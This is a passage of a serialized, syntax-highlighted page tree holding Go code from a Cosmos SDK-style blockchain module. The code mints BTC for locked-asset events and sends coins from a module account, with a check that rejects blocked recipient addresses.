7,"children":83238},{"style":4309},[83239],{"type":27,"value":65709},{"type":22,"tag":264,"props":83241,"children":83242},{"style":4293},[83243],{"type":27,"value":83244}," nil",{"type":22,"tag":264,"props":83246,"children":83247},{"style":1539},[83248],{"type":27,"value":4594},{"type":22,"tag":264,"props":83250,"children":83251},{"class":1534,"line":1629},[83252,83256,83260,83264,83269,83273,83278,83282,83287,83291,83295],{"type":22,"tag":264,"props":83253,"children":83254},{"style":4328},[83255],{"type":27,"value":80402},{"type":22,"tag":264,"props":83257,"children":83258},{"style":4293},[83259],{"type":27,"value":83244},{"type":22,"tag":264,"props":83261,"children":83262},{"style":1539},[83263],{"type":27,"value":4380},{"type":22,"tag":264,"props":83265,"children":83266},{"style":1549},[83267],{"type":27,"value":83268},"fmt",{"type":22,"tag":264,"props":83270,"children":83271},{"style":1539},[83272],{"type":27,"value":210},{"type":22,"tag":264,"props":83274,"children":83275},{"style":4401},[83276],{"type":27,"value":83277},"Errorf",{"type":22,"tag":264,"props":83279,"children":83280},{"style":1539},[83281],{"type":27,"value":2660},{"type":22,"tag":264,"props":83283,"children":83284},{"style":1597},[83285],{"type":27,"value":83286},"\"cannot accept AssetsLocked events: %w\"",{"type":22,"tag":264,"props":83288,"children":83289},{"style":1539},[83290],{"type":27,"value":4380},{"type":22,"tag":264,"props":83292,"children":83293},{"style":1549},[83294],{"type":27,"value":49740},{"type":22,"tag":264,"props":83296,"children":83297},{"style":1539},[83298],{"type":27,"value":4463},{"type":22,"tag":264,"props":83300,"children":83301},{"class":1534,"line":1642},[83302],{"type":22,"tag":264,"props":83303,"children":83304},{"style":1539},[83305],{"type":27,"value":4651},{"type":22,"tag":264,"props":83307,"children":83308},{"class":1534,"line":1660},[83309],{"type":22,"tag":264,"props":83310,"children":83311},{"style":4309},[83312],{"type":27,"value":83168},{"type":22,"tag":264,"props":83314,"children":83315},{"class":1534,"line":1668},[83316],{"type":22,"tag":264,"props":83317,"children":83318},{"style":1539},[83319],{"type":27,"value":1674},{"type":22,"tag":264,"props":83321,"children":83322},{"class":1534,"line":1677},[83323],{"type":22,"tag":264,"props":83324,"children":83325},{"style":1539},[83326],{"type":27,"value":1692},{"type":22,"tag":264,"props":83328,"children":83329},{"class":1534,"line":1686},[83330],{"type":22,"tag":264,"props":83331,"children":83332},{"emptyLinePlaceholder":17},[83333],{"type":27,"value":4986},{"type":22,"tag":264,"props":83335,"children":83336},{"class":1534,"line":4948},[83337,83341,83345,83349,83353,83357,83361],{"type":22,"tag":264,"props":83338,"children":83339},{"style":4293},[83340],{"type":27,"value":77626},{"type":22,"tag":264,"props":83342,"children":83343},{"style":1539},[83344],{"type":27,"value":4370},{"type":22,"tag":264,"props":83346,"children":83347},{"style":1549},[83348],{"type":27,"value":82454},{"type":22,"tag":264,"props":83350,"children":83351},{"style":4722},[83352],{"type":27,"value":81271},{"type":22,"tag":264,"props":83354,"children":83355},{"style":1539},[83356],{"type":27,"value":4390},{"type":22,"tag":264,"props":83358,"children":83359},{"style":4401},[83360],{"type":27,"value":83203},{"type":22,"tag":264,"props":83362,"children":83363},{"style":1539},[83364],{"type":27,"value":4767},{"type":22,"tag":264,"props":83366,"children":83367},{"class":1534,"line":4957},[83368,83372,83376,83380,83384],{"type":22,"tag":264,"props":83369,"children":83370},{"style":1549},[83371],{"type":27,"value":21530},{"type":22,"tag":264,"props":83373,"children":83374},{"style":4722},[83375],{"type":27,"value":79967},{"type":22,"tag":264,"props":83377,"children":83378},{"style":1539},[83379],{"type":27,"value":210},{"type":22,"tag":264,"props":83381,"children":83382},{"style":4722},[83383],{"type":27,"value":77675},{"type":22,"tag":264,"props":83385,"children":83386},{"style":1539},[83387],{"type":27,"value":4812},{"type":22,"tag":264,"props":83389,"children":83390},{"class":1534,"line":4980},[83391,83396,83400,83404,83409],{"type":22,"tag":264,"props":83392,"children":83393},{"style":1549},[83394],{"type":27,"value":83395},"    events",{"type":22,"tag":264,"props":83397,"children":83398},{"style":4722},[83399],{"type":27,"value":79501},{"type":22,"tag":264,"props":83401,"children":83402},{"style":1539},[83403],{"type":27,"value":210},{"type":22,"tag":264,"props":83405,"children":83406},{"style":4722},[83407],{"type":27,"value":83408},"AssetsLockedEvents",{"type":22,"tag":264,"props":83410,"children":83411},{"style":1539},[83412],{"type":27,"value":4812},{"type":22,"tag":264,"props":83414,"children":83415},{"class":1534,"line":4989},[83416,83420,83424],{"type":22,"tag":264,"props":83417,"children":83418},{"style":1539},[83419],{"type":27,"value":4390},{"type":22,"tag":264,"props":83421,"children":83422},{"style":4722},[83423],{"type":27,"value":16163},{"type":22,"tag":264,"props":83425,"children":83426},{"style":1539},[83427],{"type":27,"value":4594},{"type":22,"tag":264,"props":83429,"children":83430},{"class":1534,"line":4998},[83431],{"type":22,"tag":264,"props":83432,"children":83433},{"style":4309},[83434],{"type":27,"value":21646},{"type":22,"tag":264,"props":83436,"children":83437},{"class":1534,"line":5067},[83438,83442,83446,83450,83455,83459,83463,83468],{"type":22,"tag":264,"props":83439,"children":83440},{"style":4328},[83441],{"type":27,"value":4331},{"type":22,"tag":264,"props":83443,"children":83444},{"style":1549},[83445],{"type":27,"value":4336},{"type":22,"tag":264,"props":83447,"children":83448},{"style":1539},[83449],{"type":27,"value":4380},{"type":22,"tag":264,"props":83451,"children":83452},{"style":1549},[83453],{"type":27,"value":83454},"event",{"type":22,"tag":264,"props":83456,"children":83457},{"style":4309},[83458],{"type":27,"value":77742},{"type":22,"tag":264,"props":83460,"children":83461},{"style":4328},[83462],{"type":27,"value":78725},{"type":22,"tag":264,"props":83464,"children":83465},{"style":1549},[83466],{"type":27,"value":83467}," events",{"type":22,"tag":264,"props":83469,"children":83470},{"style":1539},[83471],{"type":27,"value":4594},{"type":22,"tag":264,"props":83473,"children":83474},{"class":1534,"line":5075},[83475,83480,83484,83488,83492,83496,83500,83505,83509,83513,83517,83522],{"type":22,"tag":264,"props":83476,"children":83477},{"style":1549},[83478],{"type":27,"value":83479},"        recipient",{"type":22,"tag":264,"props":83481,"children":83482},{"style":1539},[83483],{"type":27,"value":4380},{"type":22,"tag":264,"props":83485,"children":83486},{"style":1549},[83487],{"type":27,"value":49740},{"type":22,"tag":264,"props":83489,"children":83490},{"style":4309},[83491],{"type":27,"value":77742},{"type":22,"tag":264,"props":83493,"children":83494},{"style":1549},[83495],{"type":27,"value":79967},{"type":22,"tag":264,"props":83497,"children":83498},{"style":1539},[83499],{"type":27,"value":210},{"type":22,"tag":264,"props":83501,"children":83502},{"style":4401},[83503],{"type":27,"value":83504},"AccAddressFromBech32",{"type":22,"tag":264,"props":83506,"children":83507},{"style":1539},[83508],{"type":27,"value":2660},{"type":22,"tag":264,"props":83510,"children":83511},{"style":1549},[83512],{"type":27,"value":83454},{"type":22,"tag":264,"props":83514,"children":83515},{"style":1539},[83516],{"type":27,"value":210},{"type":22,"tag":264,"props":83518,"children":83519},{"style":1549},[83520],{"type":27,"value":83521},"Recipient",{"type":22,"tag":264,"props":83523,"children":83524},{"style":1539},[83525],{"type":27,"value":4463},{"type":22,"tag":264,"props":83527,"children":83528},{"class":1534,"line":5105},[83529,83533,83537,83541,83545],{"type":22,"tag":264,"props":83530,"children":83531},{"style":4328},[83532],{"type":27,"value":4575},{"type":22,"tag":264,"props":83534,"children":83535},{"style":1549},[83536],{"type":27,"value":49841},{"type":22,"tag":264,"props":83538,"children":83539},{"style":4309},[83540],{"type":27,"value":65709},{"type":22,"tag":264,"props":83542,"children":83543},{"style":4293},[83544],{"type":27,"value":83244},{"type":22,"tag":264,"props":83546,"children":83547},{"style":1539},[83548],{"type":27,"value":4594},{"type":22,"tag":264,"props":83550,"children":83551},{"class":1534,"line":5113},[83552,83556,83561,83565,83569,83573,83578,83582,83586],{"type":22,"tag":264,"props":83553,"children":83554},{"style":4328},[83555],{"type":27,"value":80402},{"type":22,"tag":264,"props":83557,"children":83558},{"style":1549},[83559],{"type":27,"value":83560}," fmt",{"type":22,"tag":264,"props":83562,"children":83563},{"style":1539},[83564],{"type":27,"value":210},{"type":22,"tag":264,"props":83566,"children":83567},{"style":4401},[83568],{"type":27,"value":83277},{"type":22,"tag":264,"props":83570,"children":83571},{"style":1539},[83572],{"type":27,"value":2660},{"type":22,"tag":264,"props":83574,"children":83575},{"style":1597},[83576],{"type":27,"value":83577},"\"failed to parse recipient address: %w\"",{"type":22,"tag":264,"props":83579,"children":83580},{"style":1539},[83581],{"type":27,"value":4380},{"type":22,"tag":264,"props":83583,"children":83584},{"style":1549},[83585],{"type":27,"value":49740},{"type":22,"tag":264,"props":83587,"children":83588},{"style":1539},[83589],{"type":27,"value":4463},{"type":22,"tag":264,"props":83591,"children":83592},{"class":1534,"line":5145},[83593],{"type":22,"tag":264,"props":83594,"children":83595},{"style":1539},[83596],{"type":27,"value":4651},{"type":22,"tag":264,"props":83598,"children":83599},{"class":1534,"line":5153},[83600],{"type":22,"tag":264,"props":83601,"children":83602},{"emptyLinePlaceholder":17},[83603],{"type":27,"value":4986},{"type":22,"tag":264,"props":83605,"children":83606},{"class":1534,"line":5213},[83607,83611,83616,83620,83625,83629,83633,83637,83642,83646,83651],{"type":22,"tag":264,"props":83608,"children":83609},{"style":4328},[83610],{"type":27,"value":4575},{"type":22,"tag":264,"props":83612,"children":83613},{"style":1549},[83614],{"type":27,"value":83615}," bytes",{"type":22,"tag":264,"props":83617,"children":83618},{"style":1539},[83619],{"type":27,"value":210},{"type":22,"tag":264,"props":83621,"children":83622},{"style":4401},[83623],{"type":27,"value":83624},"Equal",{"type":22,"tag":264,"props":83626,"children":83627},{"style":1539},[83628],{"type":27,"value":2660},{"type":22,"tag":264,"props":83630,"children":83631},{"style":1549},[83632],{"type":27,"value":83454},{"type":22,"tag":264,"props":83634,"children":83635},{"style":1539},[83636],{"type":27,"value":210},{"type":22,"tag":264,"props":83638,"children":83639},{"style":4401},[83640],{"type":27,"value":83641},"TokenBytes",{"type":22,"tag":264,"props":83643,"children":83644},{"style":1539},[83645],{"type":27,"value":19678},{"type":22,"tag":264,"props":83647,"children":83648},{"style":1549},[83649],{"type":27,"value":83650},"sourceBTCToken",{"type":22,"tag":264,"props":83652,"children":83653},{"style":1539},[83654],{"type":27,"value":16103},{"type":22,"tag":264,"props":83656,"children":83657},{"class":1534,"line":10343},[83658,83663,83667,83671,83675,83680,83684,83688,83692,83696,83700,83704,83708,83712],{"type":22,"tag":264,"props":83659,"children":83660},{"style":1549},[83661],{"type":27,"value":83662},"            err",{"type":22,"tag":264,"props":83664,"children":83665},{"style":4309},[83666],{"type":27,"value":4312},{"type":22,"tag":264,"props":83668,"children":83669},{"style":1549},[83670],{"type":27,"value":82582},{"type":22,"tag":264,"props":83672,"children":83673},{"style":1539},[83674],{"type":27,"value":210},{"type":22,"tag":264,"props":83676,"children":83677},{"style":4401},[83678],{"type":27,"value":83679},"mintBTC",{"type":22,"tag":264,"props":83681,"children":83682},{"style":1539},[83683],{"type":27,"value":2660},{"type":22,"tag":264,"props":83685,"children":83686},{"style":1549},[83687],{"type":27,"value":21587},{"type":22,"tag":264,"props":83689,"children":83690},{"style":1539},[83691],{"type":27,"value":4380},{"type":22,"tag":264,"props":83693,"children":83694},{"style":1549},[83695],{"type":27,"value":82977},{"type":22,"tag":264,"props":83697,"children":83698},{"style":1539},[83699],{"type":27,"value":4380},{"type":22,"tag":264,"props":83701,"children":83702},{"style":1549},[83703],{"type":27,"value":83454},{"type":22,"tag":264,"props":83705,"children":83706},{"style":1539},[83707],{"type":27,"value":210},{"type":22,"tag":264,"props":83709,"children":83710},{"style":1549},[83711],{"type":27,"value":80381},{"type":22,"tag":264,"props":83713,"children":83714},{"style":1539},[83715],{"type":27,"value":4463},{"type":22,"tag":264,"props":83717,"children":83718},{"class":1534,"line":10361},[83719,83723,83727,83731,83735],{"type":22,"tag":264,"props":83720,"children":83721},{"style":4328},[83722],{"type":27,"value":60122},{"type":22,"tag":264,"props":83724,"children":83725},{"style":1549},[83726],{"type":27,"value":49841},{"type":22,"tag":264,"props":83728,"children":83729},{"style":4309},[83730],{"type":27,"value":65709},{"type":22,"tag":264,"props":83732,"children":83733},{"style":4293},[83734],{"type":27,"value":83244},{"type":22,"tag":264,"props":83736,"children":83737},{"style":1539},[83738],{"type":27,"value":4594},{"type":22,"tag":264,"props":83740,"children":83741},{"class":1534,"line":10406},[83742,83746,83750,83754,83758],{"type":22,"tag":264,"props":83743,"children":83744},{"style":4328},[83745],{"type":27,"value":62050},{"type":22,"tag":264,"props":83747,"children":83748},{"style":1549},[83749],{"type":27,"value":83560},{"type":22,"tag":264,"props":83751,"children":83752},{"style":1539},[83753],{"type":27,"value":210},{"type":22,"tag":264,"props":83755,"children":83756},{"style":4401},[83757],{"type":27,"value":83277},{"type":22,"tag":264,"props":83759,"children":83760},{"style":1539},[83761],{"type":27,"value":4767},{"type":22,"tag":264,"props":83763,"children":83764},{"class":1534,"line":10512},[83765,83770],{"type":22,"tag":264,"props":83766,"children":83767},{"style":1597},[83768],{"type":27,"value":83769},"                    \"failed to mint BTC for event %v: %w\"",{"type":22,"tag":264,"props":83771,"children":83772},{"style":1539},[83773],{"type":27,"value":4812},{"type":22,"tag":264,"props":83775,"children":83776},{"class":1534,"line":24810},[83777,83782,83786,83791],{"type":22,"tag":264,"props":83778,"children":83779},{"style":1549},[83780],{"type":27,"value":83781},"                    event",{"type":22,"tag":264,"props":83783,"children":83784},{"style":1539},[83785],{"type":27,"value":210},{"type":22,"tag":264,"props":83787,"children":83788},{"style":1549},[83789],{"type":27,"value":83790},"Sequence",{"type":22,"tag":264,"props":83792,"children":83793},{"style":1539},[83794],{"type":27,"value":4812},{"type":22,"tag":264,"props":83796,"children":83797},{"class":1534,"line":24845},[83798,83803],{"type":22,"tag":264,"props":83799,"children":83800},{"style":1549},[83801],{"type":27,"value":83802},"                    err",{"type":22,"tag":264,"props":83804,"children":83805},{"style":1539},[83806],{"type":27,"value":4812},{"type":22,"tag":264,"props":83808,"children":83809},{"class":1534,"line":24853},[83810],{"type":22,"tag":264,"props":83811,"children":83812},{"style":1539},[83813],{"type":27,"value":83814},"                )\n",{"type":22,"tag":264,"props":83816,"children":83817},{"class":1534,"line":24861},[83818],{"type":22,"tag":264,"props":83819,"children":83820},{"style":1539},[83821],{"type":27,"value":60206},{"type":22,"tag":264,"props":83823,"children":83824},{"class":1534,"line":24870},[83825,83829,83833],{"type":22,"tag":264,"props":83826,"children":83827},{"style":1539},[83828],{"type":27,"value":4614},{"type":22,"tag":264,"props":83830,"children":83831},{"style":4328},[83832],{"type":27,"value":4619},{"type":22,"tag":264,"props":83834,"children":83835},{"style":1539},[83836],{"type":27,"value":4594},{"type":22,"tag":264,"props":83838,"children":83839},{"class":1534,"line":24912},[83840],{"type":22,"tag":264,"props":83841,"children":83842},{"style":4309},[83843],{"type":27,"value":83844},"            ...\n",{"type":22,"tag":264,"props":83846,"children":83847},{"class":1534,"line":24945},[83848],{"type":22,"tag":264,"props":83849,"children":83850},{"style":1539},[83851],{"type":27,"value":4651},{"type":22,"tag":264,"props":83853,"children":83854},{"class":1534,"line":24953},[83855],{"type":22,"tag":264,"props":83856,"children":83857},{"style":1539},[83858],{"type":27,"value":1674},{"type":22,"tag":264,"props":83860,"children":83861},{"class":1534,"line":24961},[83862],{"type":22,"tag":264,"props":83863,"children":83864},{"style":4309},[83865],{"type":27,"value":21646},{"type":22,"tag":264,"props":83867,"children":83868},{"class":1534,"line":24970},[83869],{"type":22,"tag":264,"props":83870,"children":83871},{"style":1539},[83872],{"type":27,"value":1692},{"type":22,"tag":264,"props":83874,"children":83875},{"class":1534,"line":25046},[83876],{"type":22,"tag":264,"props":83877,"children":83878},{"emptyLinePlaceholder":17},[83879],{"type":27,"value":4986},{"type":22,"tag":264,"props":83881,"children":83882},{"class":1534,"line":25079},[83883,83887,83891,83895,83899,83903,83907],{"type":22,"tag":264,"props":83884,"children":83885},{"style":4293},[83886],{"type":27,"value":77626},{"type":22,"tag":264,"props":83888,"children":83889},{"style":1539},[83890],{"type":27,"value":4370},{"type":22,"tag":264,"props":83892,"children":83893},{"style":1549},[83894],{"type":27,"value":82454},{"type":22,"tag":264,"props":83896,"children":83897},{"style":4722},[83898],{"type":27,"value":81271},{"type":22,"tag":264,"props":83900,"children":83901},{"style":1539},[83902],{"type":27,"value":4390},{"type":22,"tag":264,"props":83904,"children":83905},{"style":4401},[83906],{"type":27,"value":83679},{"type":22,"tag":264,"props":83908,"children":83909},{"style":1539},[83910],{"type":27,"value":4767},{"type":22,"tag":264,"props":83912,"children":83913},{"class":1534,"line":25087},[83914,83918,83922,83926,83930],{"type":22,"tag":264,"props":83915,"children":83916},{"style":1549},[83917],{"type":27,"value":21530},{"type":22,"tag":264,"props":83919,"children":83920},{"style":4722},[83921],{"type":27,"value":79967},{"type":22,"tag":264,"props":83923,"children":83924},{"style":1539},[83925],{"type":27,"value":210},{"type":22,"tag":264,"props":83927,"children":83928},{"style":4722},[83929],{"type":27,"value":77675},{"type":22,"tag":264,"props":83931,"children":83932},{"style":1539},[83933],{"type":27,"value":4812},{"type":22,"tag":264,"props":83935,"children":83936},{"class":1534,"line":25095},[83937,83942,83946,83950,83955],{"type":22,"tag":264,"props":83938,"children":83939},{"style":1549},[83940],{"type":27,"value":83941},"    recipient",{"type":22,"tag":264,"props":83943,"children":83944},{"style":4722},[83945],{"type":27,"value":79967},{"type":22,"tag":264,"props":83947,"children":83948},{"style":1539},[83949],{"type":27,"value":210},{"type":22,"tag":264,"props":83951,"children":83952},{"style":4722},[83953],{"type":27,"value":83954},"AccAddress",{"type":22,"tag":264,"props":83956,"children":83957},{"style":1539},[83958],{"type":27,"value":4812},{"type":22,"tag":264,"props":83960,"children":83961},{"class":1534,"line":25132},[83962,83966,83971,83975,83980],{"type":22,"tag":264,"props":83963,"children":83964},{"style":1549},[83965],{"type":27,"value":62904},{"type":22,"tag":264,"props":83967,"children":83968},{"style":4722},[83969],{"type":27,"value":83970}," math",{"type":22,"tag":264,"props":83972,"children":83973},{"style":1539},[83974],{"type":27,"value":210},{"type":22,"tag":264,"props":83976,"children":83977},{"style":4722},[83978],{"type":27,"value":83979},"Int",{"type":22,"tag":264,"props":83981,"children":83982},{"style":1539},[83983],{"type":27,"value":4812},{"type":22,"tag":264,"props":83985,"children":83986},{"class":1534,"line":25145},[83987,83991,83995],{"type":22,"tag":264,"props":83988,"children":83989},{"style":1539},[83990],{"type":27,"value":4390},{"type":22,"tag":264,"props":83992,"children":83993},{"style":4722},[83994],{"type":27,"value":16163},{"type":22,"tag":264,"props":83996,"children":83997},{"style":1539},[83998],{"type":27,"value":4594},{"type":22,"tag":264,"props":84000,"children":84001},{"class":1534,"line":25158},[84002],{"type":22,"tag":264,"props":84003,"children":84004},{"style":4309},[84005],{"type":27,"value":21646},{"type":22,"tag":264,"props":84007,"children":84008},{"class":1534,"line":25171},[84009,84014,84018,84022,84026,84031,84035,84039],{"type":22,"tag":264,"props":84010,"children":84011},{"style":1549},[84012],{"type":27,"value":84013},"    err",{"type":22,"tag":264,"props":84015,"children":84016},{"style":4309},[84017],{"type":27,"value":4312},{"type":22,"tag":264,"props":84019,"children":84020},{"style":1549},[84021],{"type":27,"value":82582},{"type":22,"tag":264,"props":84023,"children":84024},{"style":1539},[84025],{"type":27,"value":210},{"type":22,"tag":264,"props":84027,"children":84028},{"style":1549},[84029],{"type":27,"value":84030},"bankKeeper",{"type":22,"tag":264,"props":84032,"children":84033},{"style":1539},[84034],{"type":27,"value":210},{"type":22,"tag":264,"props":84036,"children":84037},{"style":4401},[84038],{"type":27,"value":82969},{"type":22,"tag":264,"props":84040,"children":84041},{"style":1539},[84042],{"type":27,"value":4767},{"type":22,"tag":264,"props":84044,"children":84045},{"class":1534,"line":25225},[84046,84050],{"type":22,"tag":264,"props":84047,"children":84048},{"style":1549},[84049],{"type":27,"value":27498},{"type":22,"tag":264,"props":84051,"children":84052},{"style":1539},[84053],{"type":27,"value":4812},{"type":22,"tag":264,"props":84055,"children":84056},{"class":1534,"line":25234},[84057,84062,84066,84071],{"type":22,"tag":264,"props":84058,"children":84059},{"style":1549},[84060],{"type":27,"value":84061},"        types",{"type":22,"tag":264,"props":84063,"children":84064},{"style":1539},[84065],{"type":27,"value":210},{"type":22,"tag":264,"props":84067,"children":84068},{"style":1549},[84069],{"type":27,"value":84070},"ModuleName",{"type":22,"tag":264,"props":84072,"children":84073},{"style":1539},[84074],{"type":27,"value":4812},{"type":22,"tag":264,"props":84076,"children":84077},{"class":1534,"line":33596},[84078,84082],{"type":22,"tag":264,"props":84079,"children":84080},{"style":1549},[84081],{"type":27,"value":83479},{"type":22,"tag":264,"props":84083,"children":84084},{"style":1539},[84085],{"type":27,"value":4812},{"type":22,"tag":264,"props":84087,"children":84088},{"class":1534,"line":33617},[84089,84094],{"type":22,"tag":264,"props":84090,"children":84091},{"style":1549},[84092],{"type":27,"value":84093},"        coins",{"type":22,"tag":264,"props":84095,"children":84096},{"style":1539},[84097],{"type":27,"value":4812},{"type":22,"tag":264,"props":84099,"children":84100},{"class":1534,"line":82277},[84101],{"type":22,"tag":264,"props":84102,"children":84103},{"style":1539},[84104],{"type":27,"value":25231},{"type":22,"tag":264,"props":84106,"children":84107},{"class":1534,"line":82290},[84108,84112,84116,84120,84124],{"type":22,"tag":264,"props":84109,"children":84110},{"style":4328},[84111],{"type":27,"value":13578},{"type":22,"tag":264,"props":84113,"children":84114},{"style":1549},[84115],{"type":27,"value":49841},{"type":22,"tag":264,"props":84117,"children":84118},{"style":4309},[84119],{"type":27,"value":65709},{"type":22,"tag":264,"props":84121,"children":84122},{"style":4293},[84123],{"type":27,"value":83244},{"type":22,"tag":264,"props":84125,"children":84126},{"style":1539},[84127],{"type":27,"value":4594},{"type":22,"tag":264,"props":84129,"children":84130},{"class":1534,"line":82298},[84131,84135,84139,84143,84147,84151,84156,84160,84164],{"type":22,"tag":264,"props":84132,"children":84133},{"style":4328},[84134],{"type":27,"value":17044},{"type":22,"tag":264,"props":84136,"children":84137},{"style":1549},[84138],{"type":27,"value":83560},{"type":22,"tag":264,"props":84140,"children":84141},{"style":1539},[84142],{"type":27,"value":210},{"type":22,"tag":264,"props":84144,"children":84145},{"style":4401},[84146],{"type":27,"value":83277},{"type":22,"tag":264,"props":84148,"children":84149},{"style":1539},[84150],{"type":27,"value":2660},{"type":22,"tag":264,"props":84152,"children":84153},{"style":1597},[84154],{"type":27,"value":84155},"\"failed to send coins: %w\"",{"type":22,"tag":264,"props":84157,"children":84158},{"style":1539},[84159],{"type":27,"value":4380},{"type":22,"tag":264,"props":84161,"children":84162},{"style":1549},[84163],{"type":27,"value":49740},{"type":22,"tag":264,"props":84165,"children":84166},{"style":1539},[84167],{"type":27,"value":4463},{"type":22,"tag":264,"props":84169,"children":84170},{"class":1534,"line":82306},[84171],{"type":22,"tag":264,"props":84172,"children":84173},{"style":1539},[84174],{"type":27,"value":1674},{"type":22,"tag":264,"props":84176,"children":84177},{"class":1534,"line":82314},[84178],{"type":22,"tag":264,"props":84179,"children":84180},{"style":4309},[84181],{"type":27,"value":21646},{"type":22,"tag":264,"props":84183,"children":84184},{"class":1534,"line":82354},[84185],{"type":22,"tag":264,"props":84186,"children":84187},{"style":1539},[84188],{"type":27,"value":1692},{"type":22,"tag":618,"props":84190,"children":84192},{"code":84191,"language":77490,"meta":7,"className":77491,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[84193],{"type":22,"tag":257,"props":84194,"children":84195},{"__ignoreMap":7},[84196,84228,84306,84321,84329,84360,84418,84425,84432],{"type":22,"tag":264,"props":84197,"children":84198},{"class":1534,"line":1535},[84199,84203,84207,84211,84216,84220,84224],{"type":22,"tag":264,"props":84200,"children":84201},{"style":4293},[84202],{"type":27,"value":77626},{"type":22,"tag":264,"props":84204,"children":84205},{"style":1539},[84206],{"type":27,"value":4370},{"type":22,"tag":264,"props":84208,"children":84209},{"style":1549},[84210],{"type":27,"value":82454},{"type":22,"tag":264,"props":84212,"children":84213},{"style":4722},[84214],{"type":27,"value":84215},"BaseKeeper",{"type":22,"tag":264,"props":84217,"children":84218},{"style":1539},[84219],{"type":27,"value":4390},{"type":22,"tag":264,"props":84221,"children":84222},{"style":4401},[84223],{"type":27,"value":82969},{"type":22,"tag":264,"props":84225,"children":84226},{"style":1539},[84227],{"type":27,"value":4767},{"type":22,"tag":264,"props":84229,"children":84230},{"class":1534,"line":1545},[84231,84235,84239,84243,84247,84251,84256,84260,84264,84269,84273,84277,84281,84285,84289,84293,84297,84302],{"type":22,"tag":264,"props":84232,"children":84233},{"style":1549},[84234],{"type":27,"value":27155},{"type":22,"tag":264,"props":84236,"children":84237},{"style":4722},[84238],{"type":27,"value":77666},{"type":22,"tag":264,"props":84240,"children":84241},{"style":1539},[84242],{"type":27,"value":210},{"type":22,"tag":264,"props":84244,"children":84245},{"style":4722},[84246],{"type":27,"value":77675},{"type":22,"tag":264,"props":84248,"children":84249},{"style":1539},[84250],{"type":27,"value":4380},{"type":22,"tag":264,"props":84252,"children":84253},{"style":1549},[84254],{"type":27,"value":84255},"senderModule",{"type":22,"tag":264,"props":84257,"children":84258},{"style":4722},[84259],{"type":27,"value":37344},{"type":22,"tag":264,"props":84261,"children":84262},{"style":1539},[84263],{"type":27,"value":4380},{"type":22,"tag":264,"props":84265,"children":84266},{"style":1549},[84267],{"type":27,"value":84268},"recipientAddr",{"type":22,"tag":264,"props":84270,"children":84271},{"style":4722},[84272],{"type":27,"value":79967},{"type":22,"tag":264,"props":84274,"children":84275},{"style":1539},[84276],{"type":27,"value":210},{"type":22,"tag":264,"props":84278,"children":84279},{"style":4722},[84280],{"type":27,"value":83954},{"type":22,"tag":264,"props":84282,"children":84283},{"style":1539},[84284],{"type":27,"value":4380},{"type":22,"tag":264,"props":84286,"children":84287},{"style":1549},[84288],{"type":27,"value":2674},{"type":22,"tag":264,"props":84290,"children":84291},{"style":4722},[84292],{"type":27,"value":79967},{"type":22,"tag":264,"props":84294,"children":84295},{"style":1539},[84296],{"type":27,"value":210},{"type":22,"tag":264,"props":84298,"children":84299},{"style":4722},[84300],{"type":27,"value":84301},"Coins",{"type":22,"tag":264,"props":84303,"children":84304},{"style":1539},[84305],{"type":27,"value":4812},{"type":22,"tag":264,"props":84307,"children":84308},{"class":1534,"line":1560},[84309,84313,84317],{"type":22,"tag":264,"props":84310,"children":84311},{"style":1539},[84312],{"type":27,"value":4390},{"type":22,"tag":264,"props":84314,"children":84315},{"style":4722},[84316],{"type":27,"value":16163},{"type":22,"tag":264,"props":84318,"children":84319},{"style":1539},[84320],{"type":27,"value":4594},{"type":22,"tag":264,"props":84322,"children":84323},{"class":1534,"line":1569},[84324],{"type":22,"tag":264,"props":84325,"children":84326},{"style":4309},[84327],{"type":27,"value":84328}," ...\n",{"type":22,"tag":264,"props":84330,"children":84331},{"class":1534,"line":1583},[84332,84336,84340,84344,84348,84352,84356],{"type":22,"tag":264,"props":84333,"children":84334},{"style":4328},[84335],{"type":27,"value":17088},{"type":22,"tag":264,"props":84337,"children":84338},{"style":1549},[84339],{"type":27,"value":82582},{"type":22,"tag":264,"props":84341,"children":84342},{"style":1539},[84343],{"type":27,"value":210},{"type":22,"tag":264,"props":84345,"children":84346},{"style":4401},[84347],{"type":27,"value":82985},{"type":22,"tag":264,"props":84349,"children":84350},{"style":1539},[84351],{"type":27,"value":2660},{"type":22,"tag":264,"props":84353,"children":84354},{"style":1549},[84355],{"type":27,"value":84268},{"type":22,"tag":264,"props":84357,"children":84358},{"style":1539},[84359],{"type":27,"value":16103},{"type":22,"tag":264,"props":84361,"children":84362},{"class":1534,"line":1603},[84363,84367,84372,84376,84380,84384,84388,84392,84397,84401,84406,84410,84414],{"type":22,"tag":264,"props":84364,"children":84365},{"style":4328},[84366],{"type":27,"value":40513},{"type":22,"tag":264,"props":84368,"children":84369},{"style":1549},[84370],{"type":27,"value":84371}," errorsmod",{"type":22,"tag":264,"props":84373,"children":84374},{"style":1539},[84375],{"type":27,"value":210},{"type":22,"tag":264,"props":84377,"children":84378},{"style":4401},[84379],{"type":27,"value":82236},{"type":22,"tag":264,"props":84381,"children":84382},{"style":1539},[84383],{"type":27,"value":2660},{"type":22,"tag":264,"props":84385,"children":84386},{"style":1549},[84387],{"type":27,"value":81898},{"type":22,"tag":264,"props":84389,"children":84390},{"style":1539},[84391],{"type":27,"value":210},{"type":22,"tag":264,"props":84393,"children":84394},{"style":1549},[84395],{"type":27,"value":84396},"ErrUnauthorized",{"type":22,"tag":264,"props":84398,"children":84399},{"style":1539},[84400],{"type":27,"value":4380},{"type":22,"tag":264,"props":84402,"children":84403},{"style":1597},[84404],{"type":27,"value":84405},"\"%s is not allowed to receive 